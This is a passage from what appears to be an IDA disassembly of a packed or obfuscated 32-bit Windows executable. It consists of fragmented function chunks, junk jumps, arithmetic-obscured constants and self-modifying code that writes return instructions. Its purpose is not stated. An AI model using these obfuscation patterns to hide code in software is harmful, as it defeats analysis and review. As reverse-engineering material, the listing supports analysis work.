; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44395C

loc_4432E4:				; CODE XREF: sub_44395C:loc_444215j
		xor	eax, 78E7E48Fh
		or	eax, 0A4C0D19Eh
		add	eax, 495CC3EBh
		xchg	eax, [esp+4+var_4]
		jmp	sub_43B3A0
; END OF FUNCTION CHUNK	FOR sub_44395C
; ---------------------------------------------------------------------------

loc_4432FE:				; CODE XREF: dviuq5id:0044DBB6j
		jnp	loc_4598A2

; =============== S U B	R O U T	I N E =======================================



sub_443304	proc near		; CODE XREF: sub_441645:loc_449DBFp

; FUNCTION CHUNK AT 00445B4D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004504FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457C7E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, offset dword_447788
		call	sub_4482DE
		mov	eax, [ebp-4]
		jmp	loc_4504FF
sub_443304	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	ecx, ebp
		jmp	sub_44F582
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_294. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_443323:				; CODE XREF: dviuq5id:0043A086j
		jmp	loc_4532C7

; =============== S U B	R O U T	I N E =======================================



sub_443328	proc near		; CODE XREF: sub_440898+27ADp
					; dviuq5id:00449159p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A30E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004457D0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452C0C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0045855E SIZE 00000005 BYTES

		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_45855E
sub_443328	endp


; =============== S U B	R O U T	I N E =======================================



sub_443333	proc near		; DATA XREF: sub_457E37+3o
		xchg	eax, [esp+0]
		mov	edi, ebp
		call	sub_43D22D
sub_443333	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4572AA

loc_44333D:				; CODE XREF: sub_4572AA-6970j
		push	0A34937BCh
		pop	ecx
		rol	ecx, 18h
		add	ecx, 2074D131h
		rol	ecx, 0Fh
		jmp	loc_43C7AF
; END OF FUNCTION CHUNK	FOR sub_4572AA

; =============== S U B	R O U T	I N E =======================================



sub_443354	proc near		; DATA XREF: dviuq5id:0044DC01o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00441BD1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A258 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044AB15 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044D2B6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044FE94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004524D8 SIZE 0000000B BYTES

		and	eax, 0FFFFFFh

loc_443359:				; CODE XREF: dviuq5id:00439A1Aj
		cmp	eax, 0C3C033h
		jnz	loc_44A258
		jmp	loc_44FE94
sub_443354	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_443369:				; CODE XREF: sub_43ED10+9j
		jz	loc_455BC0
		jmp	loc_43EEBC
; END OF FUNCTION CHUNK	FOR sub_43ED10
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453F0A

loc_443375:				; CODE XREF: sub_453F0A-E2EEj
		jmp	loc_451EB4
; END OF FUNCTION CHUNK	FOR sub_453F0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_44337A:				; CODE XREF: sub_4538B3:loc_44421Aj
		jz	loc_43DF05
		jmp	loc_453EA2
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
		lea	eax, sub_45055F
		push	ebx
		push	8F261C26h
		pop	ebx
		add	ebx, 6E9266A2h
		sub	ebx, 1C70C861h
		xor	ebx, 0A6C16871h

loc_4433A4:				; CODE XREF: dviuq5id:loc_4501E9j
		jmp	loc_44914E
; ---------------------------------------------------------------------------

loc_4433A9:				; CODE XREF: dviuq5id:00440E3Bj
		or	esi, 378AAB10h

; =============== S U B	R O U T	I N E =======================================



sub_4433AF	proc near		; CODE XREF: dviuq5id:loc_43BE20p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A93F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458E49 SIZE 0000000C BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [esp-4+arg_0]
		push	eax
		jmp	loc_43A93F
sub_4433AF	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4433BD	proc near		; DATA XREF: sub_43CB4C:loc_453138o

; FUNCTION CHUNK AT 0043B5EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D21C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044F9A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453011 SIZE 00000016 BYTES

		cmp	dword ptr [ebp-10h], 1
		jnz	loc_453011
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		jmp	loc_43B5EB
sub_4433BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ECD

loc_4433D2:				; CODE XREF: sub_447ECD+11j
		pop	ebx
		push	0BFE425EEh
		pop	eax
		add	eax, 10ED2411h
		and	eax, 0F618B4BAh
		jmp	loc_453B85
; END OF FUNCTION CHUNK	FOR sub_447ECD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444EE2

loc_4433EA:				; CODE XREF: sub_444EE2+Bj
		pop	ebx
		add	ebx, 2935A9B8h
		sub	ebx, 55FD0A0Ah
		add	ebx, 4E53172Fh
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_43D28E
; END OF FUNCTION CHUNK	FOR sub_444EE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E206

loc_443405:				; CODE XREF: sub_44E206:loc_459DD4j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-7], 10h
		jz	loc_448892
		inc	[ebp+var_8]
		jmp	loc_448886
; END OF FUNCTION CHUNK	FOR sub_44E206
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_443423:				; CODE XREF: sub_449B5B-173Cj
					; sub_449B5B:loc_44ADF6j
		sub	eax, 17CBD572h
		or	eax, 71C1C87Ah
		add	eax, 8809A55h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_44352D
		jmp	loc_448F28
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4F8

loc_443444:				; CODE XREF: sub_43F4F8+19330j
		jnz	loc_43F8CD
		jmp	loc_44517A
; END OF FUNCTION CHUNK	FOR sub_43F4F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_44344F:				; CODE XREF: sub_450686-D07Dj
					; DATA XREF: c.7ld2ih:off_420C3Co
		jp	loc_43FE86
		jmp	loc_45774B
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44345A:				; CODE XREF: sub_4525D0j
		cmp	dword ptr [ebp-4], 4
		jnz	loc_45774B
		jmp	loc_43E402
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_443469:				; CODE XREF: dviuq5id:00439041j
		add	eax, ebp
		test	eax, 539E0A17h
		jmp	loc_44FF11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F164

loc_443476:				; CODE XREF: sub_44F164+5j
		jmp	ds:off_41D038
; END OF FUNCTION CHUNK	FOR sub_44F164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_44347C:				; CODE XREF: sub_453548-6A7Fj
		jmp	loc_440387
; END OF FUNCTION CHUNK	FOR sub_453548

; =============== S U B	R O U T	I N E =======================================



sub_443481	proc near		; CODE XREF: dviuq5id:loc_43C8EEj
					; sub_44F164p ...

; FUNCTION CHUNK AT 0043D945 SIZE 00000005 BYTES

		push	offset loc_445BB5
		jmp	loc_43D945
sub_443481	endp

; ---------------------------------------------------------------------------

loc_44348B:				; CODE XREF: dviuq5id:00439E44j
		jnb	loc_449FB8
		xchg	ebx, [esi]
		jmp	loc_446248

; =============== S U B	R O U T	I N E =======================================



sub_443498	proc near		; CODE XREF: dviuq5id:0043CA99p
					; dviuq5id:0044ED25j
		xchg	edi, [esp+0]
		pop	edi
		lea	eax, nullsub_8
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_8
sub_443498	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		mov	edx, ecx
		xchg	eax, [esp]
		mov	ecx, eax
		jmp	loc_448256
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CD6

loc_4434B9:				; CODE XREF: sub_440CD6:loc_449906j
		add	edx, 0FFF528EBh
		xchg	edx, [esp+4+var_4]
		jmp	sub_43D7C1
; END OF FUNCTION CHUNK	FOR sub_440CD6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_320. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_4434C8:				; CODE XREF: sub_44D022-34CCj
		jmp	loc_457AF7
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------
		add	ebx, edx
		jmp	sub_4509F7

; =============== S U B	R O U T	I N E =======================================



sub_4434D4	proc near		; CODE XREF: dviuq5id:00440C8Ej
					; dviuq5id:loc_441877p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	edx
sub_4434D4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_4434DC:				; CODE XREF: sub_4477D7:loc_4572D1j
		call	sub_43A201
		mov	eax, 0BC7399C0h
		jmp	loc_4516CA
; END OF FUNCTION CHUNK	FOR sub_4477D7

; =============== S U B	R O U T	I N E =======================================



sub_4434EB	proc near		; CODE XREF: dviuq5id:0043A396j
					; dviuq5id:004496ACp

; FUNCTION CHUNK AT 0044B277 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	esi, 6DA2F495h

loc_4434F5:				; CODE XREF: dviuq5id:loc_44B3E7j
		push	offset sub_456242
		jmp	loc_44B277
sub_4434EB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A94D

loc_4434FF:				; CODE XREF: sub_44A94D:loc_4397E6j
		jge	loc_45052F
		or	esi, ebx
		jl	loc_44215D
		jmp	loc_44CCE1
; END OF FUNCTION CHUNK	FOR sub_44A94D

; =============== S U B	R O U T	I N E =======================================



sub_443512	proc near		; DATA XREF: dviuq5id:0043A8FAo

; FUNCTION CHUNK AT 0043D1B3 SIZE 00000019 BYTES

		push	8B54A85Ch
		pop	eax
		sub	eax, 0D0A40FD3h
		add	eax, 0C2F61437h
		jmp	loc_43D1B3
sub_443512	endp

; ---------------------------------------------------------------------------

loc_443529:				; DATA XREF: sub_449AC6+5D48o
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_44352D:				; CODE XREF: sub_449B5B-6722j
					; sub_449B7F+2j ...
		mov	edx, [esp+0]
		mov	al, 1
		call	edx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_443537:				; CODE XREF: sub_44514D+1077Cj
		jmp	loc_43B36C
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440DA1

loc_44353C:				; CODE XREF: sub_456B31-1D02Dj
					; sub_440DA1+3C6j
		sub	ebx, 8EF4EE86h
		add	ebx, 0C0C2EAB7h
		push	offset loc_43D225
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_440DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453642

loc_443552:				; CODE XREF: sub_453642:loc_455ECBj
		jge	loc_4419DB
		jmp	loc_456685
; END OF FUNCTION CHUNK	FOR sub_453642
; ---------------------------------------------------------------------------

loc_44355D:				; CODE XREF: dviuq5id:0045913Bj
		js	loc_444F05

; =============== S U B	R O U T	I N E =======================================



sub_443563	proc near		; CODE XREF: dviuq5id:004506C3p

; FUNCTION CHUNK AT 0043A1A0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B083 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00454CC6 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		mov	al, [eax]
		jo	loc_44B083
		jmp	loc_43A1A0
sub_443563	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_443576:				; CODE XREF: dviuq5id:loc_43A797j
		call	sub_447EE3
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_44357B:				; CODE XREF: sub_442BFE+5BFDj
		jmp	loc_43ED01
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------

loc_443580:				; CODE XREF: dviuq5id:004431C6j
		cmp	ecx, esi
		jmp	loc_4528F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F534

loc_443587:				; CODE XREF: sub_43F534+5j
		jmp	ds:off_41D084
; END OF FUNCTION CHUNK	FOR sub_43F534

; =============== S U B	R O U T	I N E =======================================



sub_44358D	proc near		; CODE XREF: sub_4489AE:loc_43973Dj
					; sub_43F534p ...
		push	offset loc_44B9B2
		jmp	nullsub_41
sub_44358D	endp

; ---------------------------------------------------------------------------
		cmp	ebp, 0D1CC262Dh
; START	OF FUNCTION CHUNK FOR sub_45345A

loc_44359D:				; CODE XREF: sub_45345A:loc_4440B1j
		jmp	loc_44C504
; END OF FUNCTION CHUNK	FOR sub_45345A
; ---------------------------------------------------------------------------
		sub	esi, 0BFF094BFh
		jmp	sub_454873
; ---------------------------------------------------------------------------
		cmp	ecx, ebx
; START	OF FUNCTION CHUNK FOR sub_440898

loc_4435AF:				; CODE XREF: sub_440898:loc_449601j
		jmp	loc_441AE1
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_4435B4:				; CODE XREF: dviuq5id:00455469j
		jo	loc_4561BF
		cmp	ebx, 7BCC0FB1h
		jmp	loc_43F97E

; =============== S U B	R O U T	I N E =======================================



sub_4435C5	proc near		; CODE XREF: dviuq5id:0043D24Aj
					; dviuq5id:0043DF3Ep

; FUNCTION CHUNK AT 00443EB9 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00453B66 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, eax
		call	sub_45A04B
		call	sub_441C54
		jmp	loc_453B66
sub_4435C5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE53

loc_4435DA:				; CODE XREF: sub_43EE53:loc_44C0A6j
		and	eax, 8D6CE22Fh
		jmp	loc_4488EB
; END OF FUNCTION CHUNK	FOR sub_43EE53
; ---------------------------------------------------------------------------
		pop	esi
		jmp	sub_43D22D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E095

loc_4435EB:				; CODE XREF: sub_43E095+13534j
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		nop
		jmp	loc_44F58C
; END OF FUNCTION CHUNK	FOR sub_43E095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_4435F7:				; CODE XREF: sub_450686:loc_457EBDj
		jns	loc_44C8AD
		js	loc_453241
		test	ebx, 0CA1365EEh
		jmp	loc_44344F
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0C1F7BA2h, 72388A0Fh, 0E1E9FFFFh
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BB8

loc_44361F:				; CODE XREF: sub_440BB8+6F8j
		xchg	edx, [esp+4+var_4]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_440BB8
; ---------------------------------------------------------------------------
		shl	edi, 0Dh
		jmp	sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451A79

loc_44362F:				; CODE XREF: sub_451A79:loc_444699j
		call	sub_44C997

loc_443634:				; CODE XREF: dviuq5id:0043F107j
		jmp	loc_44627D
; END OF FUNCTION CHUNK	FOR sub_451A79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_443639:				; CODE XREF: sub_4440E9-43C9j
		jz	loc_44B577
		jmp	loc_4520BC
; END OF FUNCTION CHUNK	FOR sub_4440E9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443669

loc_443645:				; CODE XREF: sub_443669+6j
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_443669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44364A:				; CODE XREF: sub_43FA59:loc_448C56j
		pop	eax
		lea	eax, sub_44E491
		mov	byte ptr [eax],	0C3h
		jmp	sub_44E491
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_443659	proc near		; CODE XREF: sub_419430+BBp
					; sub_443659+5j
					; DATA XREF: ...
		call	sub_443669
		jmp	ds:off_41D200
sub_443659	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45889C

loc_443664:				; CODE XREF: sub_45889C+9j
		jmp	loc_447670
; END OF FUNCTION CHUNK	FOR sub_45889C

; =============== S U B	R O U T	I N E =======================================



sub_443669	proc near		; CODE XREF: sub_443659p
					; sub_454465:loc_4442C0j ...

; FUNCTION CHUNK AT 00443645 SIZE 00000005 BYTES

		pop	edx
		push	offset sub_43EF1D
		jmp	loc_443645
sub_443669	endp

; ---------------------------------------------------------------------------
		pushf
		push	36790CB3h
		jmp	sub_445C8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459BC0

loc_44367F:				; CODE XREF: sub_459BC0-3EC8j
		jnz	loc_43D830
		jmp	loc_4421DE
; END OF FUNCTION CHUNK	FOR sub_459BC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452558

loc_44368A:				; CODE XREF: sub_452558:loc_445170j
		test	edi, 200h
		jmp	loc_453A9D
; END OF FUNCTION CHUNK	FOR sub_452558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C085

loc_443695:				; CODE XREF: sub_44C085:loc_441793j
		jz	loc_45645D
; END OF FUNCTION CHUNK	FOR sub_44C085
; START	OF FUNCTION CHUNK FOR sub_444466

loc_44369B:				; CODE XREF: sub_444466-17E3j
		jmp	loc_43AD3C
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------
		sub	edx, esi
		mov	[ecx], ebx
		jmp	loc_456452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_4436A9:				; CODE XREF: sub_43FAE1:loc_439ED4j
		jz	loc_44D6DD

loc_4436AF:				; CODE XREF: dviuq5id:0043C2D5j
		jmp	loc_443E31
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A015

loc_4436B4:				; CODE XREF: sub_44A015-EFF9j
		jmp	loc_44156E
; END OF FUNCTION CHUNK	FOR sub_44A015
; ---------------------------------------------------------------------------
		cmp	ebp, edi
		jmp	loc_44149A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_267. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_4436C1:				; CODE XREF: sub_44B99E-6C4j
		jmp	sub_43FEBB
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_4436C6:				; CODE XREF: dviuq5id:00441BDCj
		cdq
		jmp	loc_43A527
; ---------------------------------------------------------------------------

loc_4436CC:				; CODE XREF: dviuq5id:00450598j
		jge	loc_4561D5
		cmp	ecx, 666E6244h
		jmp	loc_441249
; ---------------------------------------------------------------------------

loc_4436DD:				; CODE XREF: dviuq5id:004454FDj
		jg	loc_44D82E

; =============== S U B	R O U T	I N E =======================================



sub_4436E3	proc near		; CODE XREF: sub_459385-17CD6p

; FUNCTION CHUNK AT 004420F7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004489D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045129C SIZE 00000002 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		ror	eax, 0Fh
		push	edx
		push	8A2F1B8Eh
		jmp	loc_4420F7
sub_4436E3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C07B

loc_4436F5:				; CODE XREF: sub_44C07B-4E6j
		or	edx, 845F0CFCh
		rol	edx, 1
		add	edx, 38068618h
		or	edx, 0E1445F0Fh
		jmp	loc_4565F8
; END OF FUNCTION CHUNK	FOR sub_44C07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_44370E:				; CODE XREF: sub_444A5E-5B81j
		jnz	loc_444245
; END OF FUNCTION CHUNK	FOR sub_444A5E
; START	OF FUNCTION CHUNK FOR sub_43A101

loc_443714:				; CODE XREF: sub_43A101+1F955j
		jmp	loc_44A6D1
; END OF FUNCTION CHUNK	FOR sub_43A101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44118B

loc_443719:				; CODE XREF: sub_44118B+15BD2j
		jmp	loc_44D7EB
; END OF FUNCTION CHUNK	FOR sub_44118B
; ---------------------------------------------------------------------------
		jl	sub_44267B
		jmp	loc_444240
; ---------------------------------------------------------------------------

loc_443729:				; CODE XREF: dviuq5id:loc_44691Fj
		pop	edi
		lea	eax, loc_458B13
		mov	byte ptr [eax],	0C3h
		jmp	loc_43ED1F
; ---------------------------------------------------------------------------
		call	nullsub_7
		jmp	ds:dword_41D060
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ebp, 0E900445Ch
		inc	edi
		pop	ss
		add	[eax], eax
; START	OF FUNCTION CHUNK FOR sub_446181

loc_44374D:				; CODE XREF: sub_446181:loc_43EBBFj
		mov	eax, [eax]
		push	eax
		call	sub_446004

loc_443755:				; CODE XREF: sub_43F4F8-112Cj
		jmp	loc_440505
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F11D

loc_44375A:				; CODE XREF: sub_44F11D-285Ej
		sub	edi, 0EEDF86BBh
		mov	edi, esi
		sbb	eax, 7859CBD7h
		and	ecx, 1B7E8360h
		jmp	loc_43FF61
; END OF FUNCTION CHUNK	FOR sub_44F11D
; ---------------------------------------------------------------------------
		rol	eax, 0Bh
		jmp	loc_43F3EB
; ---------------------------------------------------------------------------

loc_44377B:				; CODE XREF: dviuq5id:0044CBE8j
		jge	loc_456F28
		mov	ecx, 0A92860D7h
		mov	ebp, [edx]
		and	ebp, 0C374AB40h
		mov	esi, 91287E8Bh
		jmp	loc_43E25A
; ---------------------------------------------------------------------------

loc_443798:				; DATA XREF: sub_450F99+943Ao
		pop	edx
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_44379C:				; CODE XREF: sub_4538B3:loc_43DEF9j
		push	edx
		push	esi
		push	0A25D40B8h
		pop	esi
		jmp	loc_44879C
; END OF FUNCTION CHUNK	FOR sub_4538B3

; =============== S U B	R O U T	I N E =======================================



sub_4437A9	proc near		; CODE XREF: sub_4560AC-AF63p
					; dviuq5id:0044D4A8j

; FUNCTION CHUNK AT 0044C75A SIZE 00000015 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pushf
		push	373E4737h
		pop	eax
		jmp	loc_44C75A
sub_4437A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_4437B9:				; CODE XREF: sub_459804-C8C4j
		xchg	eax, [ecx]
		adc	edi, edx
		shl	ebp, 8

loc_4437C0:				; CODE XREF: sub_459804:loc_4544A4j
		movzx	eax, word ptr [ebp-6]
		mov	edx, [ebp-18h]
		push	ebx
		jmp	loc_43D300
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_4437CD:				; CODE XREF: sub_44E1C0:loc_44F93Ej
		rol	ebx, 1
		jmp	loc_444C56
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44245C

loc_4437D4:				; CODE XREF: sub_44245C:loc_441ED0j
		call	sub_44F174

loc_4437D9:				; CODE XREF: dviuq5id:0044EB9Fj
		jp	loc_44E625
; END OF FUNCTION CHUNK	FOR sub_44245C

; =============== S U B	R O U T	I N E =======================================



sub_4437DF	proc near		; CODE XREF: dviuq5id:00443D73p
		xchg	eax, [esp+0]
		pop	eax
		call	sub_449EB7
		push	eax
		ror	eax, 8
		mov	ds:dword_446DF4, eax
		jmp	loc_43CBBD
sub_4437DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4437F7	proc near		; CODE XREF: sub_440BB8+17F1Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A12B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AF57 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BF03 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00442CAF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00449AE0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449C9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B848 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00457B47 SIZE 0000001E BYTES

		push	ebp
		adc	ebp, esi
		jmp	loc_43AF57
sub_4437F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4437FF:				; CODE XREF: dviuq5id:0043DACBj
		xchg	edi, [esp]
		call	sub_451BE3
		test	eax, eax
		jz	loc_43F144

loc_44380F:				; CODE XREF: dviuq5id:loc_43B3EBj
		jmp	loc_456333
; ---------------------------------------------------------------------------
		call	sub_441C54

loc_443819:				; CODE XREF: dviuq5id:00440AF6j
		or	eax, eax
		jnz	loc_454D71
		jmp	loc_451751
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_443826:				; CODE XREF: sub_441C84:loc_445CF2j
		xchg	ebx, [esp+0]
		push	esi
		push	6A33FCDEh
		xchg	ecx, [esp+0]
		mov	esi, ecx
		pop	ecx
		or	esi, 735CAC4Dh
		sub	esi, 0D94379DEh
		jmp	loc_452C7C
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A310

loc_443846:				; CODE XREF: sub_45A310+6j
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], eax
		push	48ACE2ABh
		pop	eax
		jmp	loc_43C736
; END OF FUNCTION CHUNK	FOR sub_45A310
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_307. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_443858:				; CODE XREF: sub_446465+99DEj
		jmp	loc_453E38
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A160

loc_44385D:				; CODE XREF: sub_43A160:loc_44AA73j
		jmp	sub_456276
; END OF FUNCTION CHUNK	FOR sub_43A160

; =============== S U B	R O U T	I N E =======================================



sub_443862	proc near		; CODE XREF: sub_44BAF7:loc_43CF49j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043DF1A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443A81 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445133 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447BBC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004483D5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004486A8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00449B1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A7DB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044BBAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E34D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004501D2 SIZE 00000017 BYTES
